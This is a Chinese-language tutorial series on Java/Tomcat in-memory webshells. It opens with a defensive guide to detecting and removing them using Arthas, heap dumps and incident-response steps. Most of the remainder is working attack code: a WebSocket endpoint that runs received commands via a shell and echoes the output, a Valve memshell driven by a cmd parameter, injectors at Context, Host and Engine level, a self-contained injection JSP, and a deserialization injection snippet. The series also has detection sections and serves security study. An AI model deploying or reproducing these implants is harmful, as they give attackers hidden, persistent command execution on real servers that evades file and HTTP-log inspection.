内存马检测与清除实操
内存马检测与清除实操
前面各篇回答了”内存马怎么打“,这一篇回答”内存马怎么查、怎么清“。
内存马最难检测的根本原因,在 《内存马原理总纲》 里已经讲过:它用和正常组件完全相同的注册接口,把恶意代码塞进容器运行时注册表,磁盘上什么都没有。所以检测的思路必须反过来——不再看文件,而是看运行时的注册表和代码行为。
本文的清除方法按”能否热移除”分为两类:Filter / Servlet / Listener / Valve / Spring 型可热移除(无需重启);Agent 型无法热移除,只能重启 JVM。这是应急响应的关键判断。
一、检测的整体思路
| 检测视角 | 原理 | 覆盖类型 | 缺点 |
|---|---|---|---|
| 文件侧 | 扫磁盘 webshell | 传统 JSP webshell | 对内存马完全失效 |
| 注册表基线对比 | 枚举容器当前注册表,与启动基线 diff | Filter / Servlet / Listener / Valve / Spring / WebSocket | 需要提前有基线;Agent 型看不到 |
| 行为检测(RASP) | Hook addFilterDef / addValve / defineClass 等注册调用,判断调用栈是否来自启动阶段 |
全部类型(含 Agent 的 addTransformer / retransformClasses) |
需要部署 RASP,有误报 |
核心结论:单靠一个视角不够,实战是”注册表枚举 + 内存取证 + 行为监控”三管齐下。
二、按类型的检测特征与命令
以下命令以 Arthas 为主(在线、无需重启),
vmtool用于拿容器实例并访问其实例字段。各类型原理详见对应分篇。
2.1 总表
| 类型 | 恶意代码藏在哪 | 一句话判断特征 |
|---|---|---|
| Filter | filterConfigs / filterDefs / filterMaps |
出现非业务类名的 Filter |
| Servlet | children + servletMappings |
出现未声明的 Wrapper / 路径 |
| Listener | applicationEventListenersList |
出现非框架的 *Listener |
| Valve | 容器的 Pipeline |
出现非 Standard*Valve 的 Valve |
| Spring | adaptedInterceptors / mappingRegistry |
多出非业务拦截器 / 路由 |
| WebSocket | WsServerContainer 的 endpointPathMap |
出现非业务 Endpoint 路径 |
| Agent | 类字节码本身(无注册表) | 字节码与磁盘 .class 不一致 |
2.2 Filter
# 列出 StandardContext 的 filterConfigs(实例字段,先拿实例)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].filterConfigs' --limit 10
# 搜索可疑 Filter 类
sc *.Filter*
判断:filterConfigs 里的 key(filterName)和对应的 filter 实例类名,是否与 web.xml / 注解 / 启动基线一致。类名是否来自非业务 jar、或干脆是个匿名/默认包类,是重要线索。
2.3 Servlet
# 看 children 里有没有未声明的 Wrapper
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].children' --limit 10
# 看 servletMappings 有没有可疑路径
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].servletMappings' --limit 10
判断:业务里没有的路径(如 /shell、/cmd/*)出现在 servletMappings,或 children 里出现陌生 Wrapper。
2.4 Listener
# 看监听器列表
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].applicationEventListenersList' --limit 10
# 搜索可疑 Listener
sc *.*Listener
判断:applicationEventListenersList 里出现非 Spring / 非业务框架的 *Listener(正常只有 Spring 的 ContextLoaderListener 之类的几个)。
2.5 Valve
# 列出管道上的所有 Valve
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
--express 'instances[0].getPipeline().getValves()' --limit 10
判断:正常只有 StandardContextValve / StandardHostValve 等内置阀;出现其他 Valve 子类即为可疑。注意也要看 Host / Engine 的 Pipeline(高级 Valve 马会挂在更上层)。
2.6 Spring
// 检测代码:列出所有拦截器与路由
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
System.out.println("interceptor: " + interceptor.getClass().getName());
}
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
System.out.println("mapping: " + handlerMethod);
}
判断:出现非业务拦截器类;路由表里出现业务没有的路径(如 /evil)。
2.7 WebSocket
# 看注册的 Endpoint 路径
vmtool --action getInstances --className org.apache.tomcat.websocket.server.WsServerContainer \
--express 'instances[0].getEndpointPathMap()' --limit 5
判断:出现非业务路径(如 /ws)。
2.8 Agent(最难,注册表看不到)
Agent 型内存马不产生任何容器组件,只能两条路:
# 1. 反编译运行时字节码,与磁盘/源码对比
jad org.apache.catalina.core.ApplicationFilterChain
# 出现 Runtime.getRuntime().exec / 插入的变量名等即为 Agent 内存马
# 2. 枚举已注册的 ClassFileTransformer
# 用 attach 一个自写检测 agent,打印所有 transformer 的类名
三、检测工具链与使用时机
| 工具 | 用途 | 时机 |
|---|---|---|
Arthas(vmtool / sc / jad) |
在线枚举注册表、反编译字节码,不重启 | 第一现场,优先 |
| jmap dump + MAT / VisualVM | 离线内存取证,能挖到被引用但未注册的对象 | 现场不便操作 / 复盘 |
| JMX(jconsole / jcmd) | 看 MBean(Filter/Valve 会注册 MBean) | 已开启 JMX 时 |
| RASP | 实时拦截注册调用,判断调用栈 | 常态化防御,而非事后查 |
# 快速取证:dump 内存(先确认 PID)
jps -l
jmap -dump:live,format=b,file=heap.hprof <pid>
# MAT 里搜 FilterDef / ApplicationFilterConfig / ValveBase / AbstractTranslet 子类
建议流程:jps 确认进程 → Arthas vmtool 逐个枚举注册表 → 可疑项 sc 看类来源 → 必要时 jad 反编译 / jmap dump 留证。
四、清除实操(按类型)
总原则:内存马 = 注册进容器的一个条目,清除 = 把它从注册表撤销。 类型不同,撤销的 API 不同;多数可热移除,Agent 除外。
4.1 可热移除的类型
Filter——从 filterConfigs / filterDefs / filterMaps 三处撤掉:
StandardContext context = ...; // 反射链拿 context,见 Filter 篇
// 1. 先移除实例配置
context.removeFilterDef(findFilterDef("shell"));
// 2. 移除映射(filterMaps 在较新版本是包私有 ContextFilterMaps,需反射 remove)
Field mapsField = StandardContext.class.getDeclaredField("filterMaps");
mapsField.setAccessible(true);
Object filterMaps = mapsField.get(context);
Method remove = filterMaps.getClass().getMethod("remove", String.class);
remove.setAccessible(true);
remove.invoke(filterMaps, "shell");
// 3. 移除 filterConfigs 中的实例
Field cfField = StandardContext.class.getDeclaredField("filterConfigs");
cfField.setAccessible(true);
((Map<?, ?>) cfField.get(context)).remove("shell");
Servlet——移除 Wrapper 与映射:
Wrapper wrapper = (Wrapper) context.findChild("shell");
context.removeChild(wrapper); // 从 children 移除
context.removeServletMapping("/shell"); // 从 servletMappings 移除
Listener——一行:
// 遍历找到恶意 listener 实例后移除
context.removeApplicationEventListener(listener);
Valve——一行:
for (Valve valve : context.getPipeline().getValves()) {
if (valve.getClass().getName().contains("Evil")) {
context.getPipeline().removeValve(valve);
}
}
// 若挂在 Host / Engine,用同样的 getPipeline() 往上取再 removeValve
Spring——移除拦截器 / 反注册路由:
// Interceptor
List<HandlerInterceptor> interceptors = /* 反射拿 adaptedInterceptors */;
interceptors.remove(evilInterceptor);
// Controller 路由
mapping.unregisterMapping(info); // 反注册 /evil
4.2 无法热移除:Agent 型
Agent 型改的是已加载类的字节码,ClassFileTransformer 一旦生效,JVM 里没有”还原”接口。唯一的彻底清除是重启 JVM。
Agent 内存马
→ 枚举 transformer / 字节码 diff 确认(2.8)
→ 无法热移除
→ 备份取证后重启 JVM
→ 启动参数加 -XX:+DisableAttachMechanism,防止再次 attach
4.3 清除有效性对比
| 类型 | 能否热移除 | 清除后是否立即生效 |
|---|---|---|
| Filter | ✅ | 下一次请求构建 Filter 链时(立即) |
| Servlet | ✅ | 下一次路由时(立即) |
| Listener | ✅ | 下一个请求事件(立即) |
| Valve | ✅ | 下一个请求进容器(立即) |
| Spring | ✅ | 下一次分发(立即) |
| WebSocket | ✅ | 下次连接(立即) |
| Agent | ❌ | 必须重启 JVM |
五、应急处置流程
确认感染(发现可疑注册表条目 / 字节码 diff)
↓
① 隔离:断外网 / 摘负载,避免攻击者继续利用
↓
② 取证:Arthas 导出注册表快照 + jmap dump 内存 + 收集日志(留痕,勿先删)
↓
③ 清除:按第四节热移除;Agent 型重启 JVM
↓
④ 复检:清除后再跑一遍第二节的枚举,确认注册表干净
↓
⑤ 加固:修复反序列化 / JNDI 等 RCE 入口(事前补洞)
+ 部署 RASP 监控注册调用(事中)
+ 建立启动基线,周期性对比(事后)
关键提醒:先取证、后清除。热移除会把这个对象从内存里抹掉,若没先 dump 留证,攻击者代码就丢了,不利于溯源和复盘。
总结
| 类型 | 检测入口 | 清除手段 |
|---|---|---|
| Filter | filterConfigs 枚举 |
removeFilterDef + 反射移除 map |
| Servlet | children / servletMappings |
removeChild + removeServletMapping |
| Listener | applicationEventListenersList |
removeApplicationEventListener |
| Valve | getPipeline().getValves() |
removeValve |
| Spring | adaptedInterceptors / handlerMethods |
list.remove / unregisterMapping |
| WebSocket | endpointPathMap |
反注册 Endpoint |
| Agent | 字节码 diff / transformer 枚举 | 重启 JVM(唯一) |
三句话收尾:
- 内存马检测看注册表,不看文件——枚举容器当前注册表,与启动基线对比;
- 大部分可热移除,Agent 只能重启——判断类型决定处置方式;
- 先取证再清除,防御靠事前——RCE 入口不补,清完还会再进来。
延伸阅读:《内存马原理总纲》 《反序列化与 JNDI 无文件注入内存马》 各类型分篇的”检测方式 / 防御建议”章节:Filter Listener Valve Agent
WebSocket / Executor / Upgrade 内存马(偏门型)
WebSocket / Executor / Upgrade 内存马(偏门型)
前面几篇覆盖了 Filter / Servlet / Listener / Valve / Spring 五种主流类型。本篇补三个偏门型:
| 类型 | 原理 | 实战频率 | 说明 |
|---|---|---|---|
| WebSocket 型 | 往 WsServerContainer 注册恶意 Endpoint |
低 | 流量走 WebSocket 协议,HTTP 日志不可见 |
| Executor 型 | 替换 Tomcat 线程池的线程工厂/执行器 | 极低 | 版本差异大,命令获取困难,多为概念验证 |
| Upgrade 型 | 注册恶意 HttpUpgradeHandler / UpgradeProtocol |
极低 | 需触达协议对象,版本差异极大 |
其中 WebSocket 型代码完整可用,Executor / Upgrade 型给出可编译的示意代码并如实标注局限。
本文代码已用 Tomcat 9.0.100(javax)与 10.1.34(jakarta)真实编译验证。
本质:模拟 WsServerContainer.addEndpoint,把恶意 Endpoint + /ws 路径组装进 WebSocket 容器;流量走 WebSocket 协议,HTTP 日志不可见。整体框架见 《内存马原理总纲》。
一、WebSocket 型内存马
1.1 WebSocket 在 Tomcat 中的位置
Tomcat 内置 WebSocket 实现(org.apache.tomcat.websocket.*),启动时向每个 Web 应用的 ServletContext 注册一个 WsServerContainer 属性。WebSocket 请求走 Upgrade 流程,不产生普通 HTTP 访问日志:
HTTP Upgrade: websocket
↓
Tomcat WebSocket 容器(WsServerContainer)
↓
路径匹配已注册的 Endpoint(@ServerEndpoint("/ws"))
↓
@OnOpen / @OnMessage 回调
1.2 动态注册原理
WsServerContainer.addEndpoint(Class<?>) 是 public 方法,把带 @ServerEndpoint("/ws") 注解的类注册成 WebSocket 端点:
// ServletContext 属性名:Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
// javax 版为 "javax.websocket.server.ServerContainer"
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
container.addEndpoint(EvilEndpoint.class);
隐蔽性:注册在 WebSocket 容器里,不在 Filter/Listener/Valve 的注册表;客户端通过 WebSocket 协议交互,HTTP 访问日志看不到任何痕迹。
二、WebSocket 完整代码实现
2.1 恶意 Endpoint(javax / Tomcat 8.5 / 9.x)
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
@ServerEndpoint("/ws")
public class EvilEndpoint {
@OnOpen
public void onOpen(Session session) {
System.out.println("[+] WebSocket connected: " + session.getId());
}
@OnMessage
public String onMessage(String message) {
try {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", message}
: new String[]{"/bin/sh", "-c", message};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}
@OnMessage 返回 String 时,返回值会自动作为消息回发给客户端——天然实现命令回显。
2.2 注入器(javax)
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.servlet.ServletContext;
import javax.websocket.DeploymentException;
public class WebSocketMemShellInjector {
public static void inject(ServletContext servletContext) throws Exception {
// 属性名见 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
if (container == null) {
throw new IllegalStateException("WsServerContainer not found");
}
try {
container.addEndpoint(EvilEndpoint.class);
System.out.println("[+] WebSocket endpoint /ws registered.");
} catch (DeploymentException e) {
// 同路径已注册即视为已注入(防重复)
System.out.println("[!] Endpoint already registered: " + e.getMessage());
}
}
}
2.3 触发注入
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%
WebSocketMemShellInjector.inject(application);
out.println("[+] WebSocket /ws injected!");
%>
客户端使用:
# 任意 WebSocket 客户端(如 Python websocket-client / wscat)
# 连接 ws://target/你的应用上下文/ws ,发命令即执行并回显
> whoami
root
> id
uid=0(root) gid=0(root) ...
2.4 jakarta(Tomcat 10+)版本差异
// javax(Tomcat 8.5 / 9.x)
import javax.websocket.server.ServerEndpoint;
import javax.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
// jakarta(Tomcat 10.x / 11.x)—— 包名 + 属性名字符串都换
import jakarta.websocket.server.ServerEndpoint;
import jakarta.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("jakarta.websocket.server.ServerContainer");
三、WebSocket 代码详解
3.1 ServletContext 属性名
Tomcat 把 WsServerContainer 挂在 ServletContext 属性上,key 就是 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE:javax 版 "javax.websocket.server.ServerContainer",jakarta 版 "jakarta.websocket.server.ServerContainer"。注入时直接按属性名取。
3.2 addEndpoint 防重复
同路径的 Endpoint 注册两次会抛 DeploymentException(”A WebSocket Endpoint with the path /ws is already registered”),所以用它做防重复判断。
3.3 流量特征
- 建立连接:
GET .../ws+Upgrade: websocket头(仅 1 条握手日志,后续均为二进制帧,常规访问日志不可见)。 - 命令交互走 WebSocket 帧,WAF 对 HTTP 参数的特征检测基本失效。
四、Executor 型(概念 + 局限)
4.1 原理
Tomcat 的 NioEndpoint 维护一个线程池(java.util.concurrent.Executor)处理请求。如果把它替换成恶意实现(或在它的线程工厂里做手脚),每次线程创建/任务执行时就能插入逻辑。AbstractEndpoint.getExecutor()/setExecutor() 是公开 API。
4.2 可编译示意代码(EvilThreadFactory)
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;
/**
* Executor 型(概念示意):恶意 ThreadFactory。
* 每次创建一个工作线程就执行一次命令(命令可换成从全局/内存读取的动态值)。
*/
public class EvilThreadFactory implements ThreadFactory {
private final AtomicInteger count = new AtomicInteger(0);
@Override
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "tomcat-exec-" + count.incrementAndGet());
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "id"});
} catch (Exception ignored) {
}
return t;
}
}
4.3 局限(如实说明)
- 每次线程创建都执行,命令无法按需动态下发,只能干固定的事(除非配合其它手段读命令源);
- 替换
NioEndpoint的线程工厂需要先触达 Endpoint 对象,且线程池已在运行,替换时机/生命周期处理复杂; - 不同版本 Endpoint 内部结构差异大,实战中几乎见不到 Executor 型内存马。
五、Upgrade 型(概念 + 局限)
5.1 原理
Servlet 规范提供 HttpUpgradeHandler:Servlet 调用 request.upgrade(EvilUpgradeHandler.class) 后,连接交给该 Handler 接管。Tomcat 底层还有协议级 UpgradeProtocol(AbstractHttp11Protocol.getHttpUpgradeProtocols())。如果能在运行中注册恶意 Handler / Protocol,即可接管升级后的连接。
5.2 可编译示意代码(javax)
import javax.servlet.http.HttpUpgradeHandler;
import javax.servlet.http.WebConnection;
import java.io.InputStream;
/**
* Upgrade 型(概念示意):恶意 HttpUpgradeHandler。
* 被 request.upgrade(EvilUpgradeHandler.class) 触发后接管连接。
*/
public class EvilUpgradeHandler implements HttpUpgradeHandler {
@Override
public void init(WebConnection wc) {
try {
InputStream is = wc.getInputStream();
byte[] buf = new byte[4096];
int len = is.read(buf);
if (len > 0) {
String cmd = new String(buf, 0, len).trim();
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
} catch (Exception ignored) {
}
}
@Override
public void destroy() {
}
}
5.3 局限(如实说明)
upgrade()需要先有代码执行来调用它,且通常绑定到某个 Servlet 路径上;- 协议级
UpgradeProtocol的注册点(httpUpgradeProtocolsmap)在 Tomcat 8.5 / 9 / 10 之间差异很大; - 实战价值低,多作为概念研究,检测时注意它本质仍是”替换/注册了协议处理器”。
六、检测方式
6.1 WebSocket Endpoint 枚举
// 列出已注册的 WebSocket Endpoint(有内部 map 可遍历)
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
// 用 JMX/Arthas 观察 WsWebSocketContainer 的 endpointPathMap 是否有非业务路径
# Arthas:看 WsServerContainer 里注册了哪些路径
vmtool --action getInstances --className org.apache.tomcat.websocket.server.WsServerContainer \
--express 'instances[0].getEndpointPathMap()' --limit 5
6.2 基线对比
把应用启动时的 WebSocket 路径 / 线程工厂 / 升级协议列表存为基线,运行时对比异常项。
6.3 流量侧
WebSocket 握手日志里出现未知路径(如 /ws),或 Upgrade 连接的客户端行为异常,可作为线索。
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook WsServerContainer.addEndpoint |
拦截运行时注册恶意 Endpoint |
| RASP | Hook setExecutor / HttpUpgradeHandler |
拦截线程池与升级协议替换 |
| WebSocket | 关闭不用的 WebSocket 端点 / 鉴权 | 即使注册了也无法未授权连接 |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
八、总结
三种偏门型内存马的地位:
| 类型 | 代码成熟度 | 实战价值 | 隐蔽性 |
|---|---|---|---|
| WebSocket | 高(完整可用) | 中低 | 高(HTTP 日志不可见) |
| Executor | 低(概念示意) | 极低 | 高 |
| Upgrade | 低(概念示意) | 极低 | 高 |
一句话:WebSocket 型在”不想留 HTTP 流量痕迹”时有价值且实现简单;Executor / Upgrade 型属于研究向,实战极少,了解原理即可,防御上仍是”修复 RCE 入口 + RASP 监控注册行为”为主。
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马
Tomcat Valve 内存马
Valve 内存马
Valve 型内存马是 Tomcat 特有的内存马类型。它利用 Tomcat 的 Pipeline-Valve(管道-阀门)机制,把恶意 Valve 动态挂载到容器的管道上,拦截经过该容器的所有请求。
与 Filter / Servlet / Listener 三种基于 Servlet 规范的内存马相比,Valve 更底层、更隐蔽:
- 不属于 Servlet 规范,很多安全产品只监控 Filter/Listener 的注册,不检查 Valve;
- 不需要任何 URL 映射,请求进入容器(包括 404、静态资源)都会经过它;
- 回显不需要反射,
invoke直接拿到内部connector.Request / Response。
本文代码已用 Tomcat 9.0.100(javax)与 Tomcat 10.1.34(jakarta)真实编译验证。
本质:模拟 Pipeline.addValve,把恶意 invoke 代码 + “请求进入容器”组装进管道,比 Filter 更底层、无需 URL 映射。整体框架见 《内存马原理总纲》。
一、Tomcat Pipeline-Valve 架构
1.1 Valve 在请求处理中的位置
Tomcat 的请求处理采用责任链模式:四大容器 Engine / Host / Context / Wrapper 每个都持有一条 Pipeline,管道上挂着一串 Valve。请求按 Engine → Host → Context → Wrapper 逐层穿过各容器的 Valve 管道,最后由 Wrapper 的管道进入 Servlet。
HTTP 请求
↓
CoyoteAdapter.service()
↓
Engine Pipeline → StandardEngineValve(基础阀)
↓
Host Pipeline → StandardHostValve(基础阀)
↓
Context Pipeline → StandardContextValve(基础阀)
↓
Wrapper Pipeline → StandardWrapperValve(基础阀)
↓
ApplicationFilterChain → Filter 链 → Servlet
关键点:
- 每个容器即使不添加任何自定义 Valve,也至少有一个基础阀(basic)完成容器核心职责(调用子容器、调用 Servlet)。
- Valve 在 Filter 之前执行,且不需要 URL 映射——只要请求流经该容器就会触发。
1.2 核心类关系
Container(org.apache.catalina.Container)
├── getPipeline(): Pipeline ← 容器的管道
├── getParent(): Container ← 向上取父容器(Context→Host→Engine)
└── 实现类:
├── StandardEngine
├── StandardHost
├── StandardContext
└── StandardWrapper
Pipeline(org.apache.catalina.Pipeline)
├── addValve(Valve) ← 动态挂载(public,无需反射)
├── getValves(): Valve[]
├── getFirst(): Valve
└── removeValve(Valve)
Valve(org.apache.catalina.Valve)
└── invoke(Request, Response) ← 拦截逻辑写在这里
ValveBase(org.apache.catalina.valves.ValveBase)
└── 抽象类,封装生命周期/MBean;继承后重写 invoke() 即可
1.3 Valve 与 Filter 的核心差异
| 对比维度 | Filter 内存马 | Valve 内存马 |
|---|---|---|
| 是否 Servlet 规范 | ✅ 是 | ❌ 否(Tomcat 特有) |
| 触发层级 | Context(应用级) | Context / Host / Engine / Wrapper 任意层 |
| 是否需要 URL 映射 | 需要(如 /*) |
不需要 |
| 拿到的请求对象 | RequestFacade(门面) | 内部 connector.Request |
| 回显 | 需两步反射 | 直接 response.getWriter() |
| 注入步骤 | FilterDef/FilterMap/FilterConfig 多步 | 一行 addValve() |
| 隐蔽性 | 中 | 高 |
二、动态注册原理
2.1 Pipeline 是单向链表
Valve 通过 getNext() 串成链表,invoke() 里必须调用 getNext().invoke(request, response),否则请求链中断(等价于 Filter 里忘记 chain.doFilter()):
[Valve A] → [Valve B] → ... → [基础阀] → 下层容器 / Servlet
StandardPipeline.addValve() 会把新 Valve 挂到链上(插入在基础阀之前)。容器已启动时,运行时添加的 Valve 下一次请求即可生效。
2.2 动态注册步骤
1. 编写恶意 Valve 类(继承 ValveBase,重写 invoke)
2. 获取 StandardContext 对象(反射链,同 Filter 篇)
3. 调用 context.getPipeline().addValve(maliciousValve)
4. 可选:通过 context.getParent() 向上取 Host / Engine,注入更高层级
三、完整代码实现
3.1 恶意 Valve 类(javax / Tomcat 8.5 / 9.x)
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ValveMemShell extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// 注意:Valve 的 invoke 直接拿到的是内部 connector.Request / Response,
// 取参数、回显都不需要反射(这是与 Filter/Listener 的重要区别)
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
return; // 命令执行型:直接返回,不进入后续业务
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
// 正常请求继续沿管道传递(必须调用 getNext().invoke(),否则管道中断)
getNext().invoke(request, response);
}
/**
* 统一命令执行器(与 Filter / Servlet / Listener 三篇通用)
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.2 注入器代码(javax)
import org.apache.catalina.Valve;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.connector.Request;
import java.lang.reflect.Field;
public class ValveMemShellInjector {
/**
* 注入到当前 Context 的 Pipeline
*/
public static void inject(StandardContext context) {
// 防重复:遍历管道已有 Valve,判断是否已注入
for (Valve valve : context.getPipeline().getValves()) {
if (valve instanceof ValveMemShell) {
System.out.println("[!] Valve already injected.");
return;
}
}
// addValve() 是 ContainerBase 的 public 方法,无需反射
context.getPipeline().addValve(new ValveMemShell());
System.out.println("[+] Valve memory shell injected.");
}
/**
* 注入到 Host / Engine 级(影响范围更大,也更影响正常业务)
*/
public static void injectUpper(StandardContext context) {
// Host 级:该 Host 下所有应用的所有请求都经过
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());
// Engine 级:整个 Tomcat 实例的所有请求都经过
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());
}
/**
* 从 RequestFacade 反射获取 StandardContext(与 Filter / Servlet 篇相同链)
*/
public static StandardContext getStandardContext(Object servletRequest) throws Exception {
Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(servletRequest);
return (StandardContext) request.getContext();
}
}
3.3 层级扩展:Context / Host / Engine
// Context 级:只影响当前 Web 应用(推荐,误伤最小)
StandardContext context = ValveMemShellInjector.getStandardContext(request);
context.getPipeline().addValve(new ValveMemShell());
// Host 级:该 Host 下所有应用(context.getParent() → StandardHost)
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());
// Engine 级:整个 Tomcat 实例(host.getParent() → StandardEngine)
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());
层级越高影响面越大,隐蔽性也越高(不在任何应用的注册表里),但对正常业务的干扰也越大,需谨慎。
3.4 触发注入的 JSP(自包含,内联恶意 Valve)
为了让 JSP 单独即可完成注入(不依赖额外编译的类),这里把恶意 Valve 内联在 <%! %> 声明里:
<%@ page import="java.io.*, org.apache.catalina.connector.*, org.apache.catalina.core.*" %>
<%!
// 内联恶意 Valve:JSP 单独即可完成注入
public class EvilValve extends org.apache.catalina.valves.ValveBase {
@Override
public void invoke(Request request, Response response)
throws java.io.IOException, javax.servlet.ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd)
.redirectErrorStream(true).start();
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int len;
InputStream is = p.getInputStream();
while ((len = is.read(buf)) != -1) out.write(buf, 0, len);
response.getWriter().write("<pre>" + out.toString("UTF-8") + "</pre>");
return;
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
getNext().invoke(request, response);
}
}
%>
<%
try {
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.getPipeline().addValve(new EvilValve());
out.println("Valve memory shell injected! 访问: ?cmd=whoami");
} catch (Exception e) {
out.println("Failed: " + e.getMessage());
}
%>
3.5 jakarta(Tomcat 10+)版本差异
org.apache.catalina 包名在 Tomcat 10+ 没有改,只有 Servlet 规范包从 javax.servlet 迁移到了 jakarta.servlet。因此 Valve 内存马仅需改一行:
// javax(Tomcat 8.5 / 9.x)
import javax.servlet.ServletException;
// jakarta(Tomcat 10.x / 11.x)—— 只需替换这一处
import jakarta.servlet.ServletException;
注入器(connector.Request、Pipeline、ValveBase 等)两个版本完全一致。
四、代码详解
4.1 invoke 直接拿到内部 Request/Response —— 回显无需反射
Valve 的 invoke(Request, Response) 参数是内部 org.apache.catalina.connector.Request / Response,不是给业务代码用的门面对象。这意味着:
// Filter/Listener 回显:RequestFacade → request 字段 → response 字段(两步反射)
Field reqField = servletRequest.getClass().getDeclaredField("request");
...
Field responseField = innerRequest.getClass().getDeclaredField("response");
...
// Valve 回显:直接写(connector.Response 实现了 HttpServletResponse)
response.getWriter().write("<pre>" + result + "</pre>");
connector.Response 直接实现了 javax.servlet.http.HttpServletResponse(javax 版)/ jakarta.servlet.http.HttpServletResponse(jakarta 版),getWriter() 可直接使用。
4.2 addValve 是 public 方法,无需反射
ContainerBase.addValve(Valve) 是 public 的,StandardPipeline.addValve() 也是 public 的。拿到 StandardContext 后一行即可完成注入,这是 Valve 型内存马注入步骤最少的原因(对比 Filter 需要 FilterDef / FilterMap / ApplicationFilterConfig 三步构造)。
4.3 防重复注入
for (Valve valve : context.getPipeline().getValves()) {
if (valve instanceof ValveMemShell) {
return; // 已注入
}
}
4.4 层级选择
| 层级 | 获取方式 | 影响范围 | 适用 |
|---|---|---|---|
| Wrapper | context.getParent()(某 Servlet 的 Wrapper) |
单个 Servlet | 极少用 |
| Context | req.getContext() |
当前应用 | 推荐,误伤最小 |
| Host | context.getParent() |
Host 下所有应用 | 持久化 |
| Engine | host.getParent() |
整个 Tomcat | 隐蔽性最高 |
4.5 版本兼容性
| Tomcat 版本 | Servlet 包 | Valve 代码差异 |
|---|---|---|
| 8.5.x / 9.x | javax.servlet |
import javax.servlet.ServletException |
| 10.x / 11.x | jakarta.servlet |
import jakarta.servlet.ServletException |
- 容器内部 API(
org.apache.catalina.*、connector.Request/Response、ValveBase)在 Tomcat 10+ 未改包名,仅上述 import 差异。 - 本文代码已分别用 Tomcat 9.0.100 与 10.1.34 编译验证。
五、利用场景
5.1 反序列化 → Valve 注入
Shiro / Fastjson 反序列化拿到代码执行后,注入 Valve 实现持久化:
// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
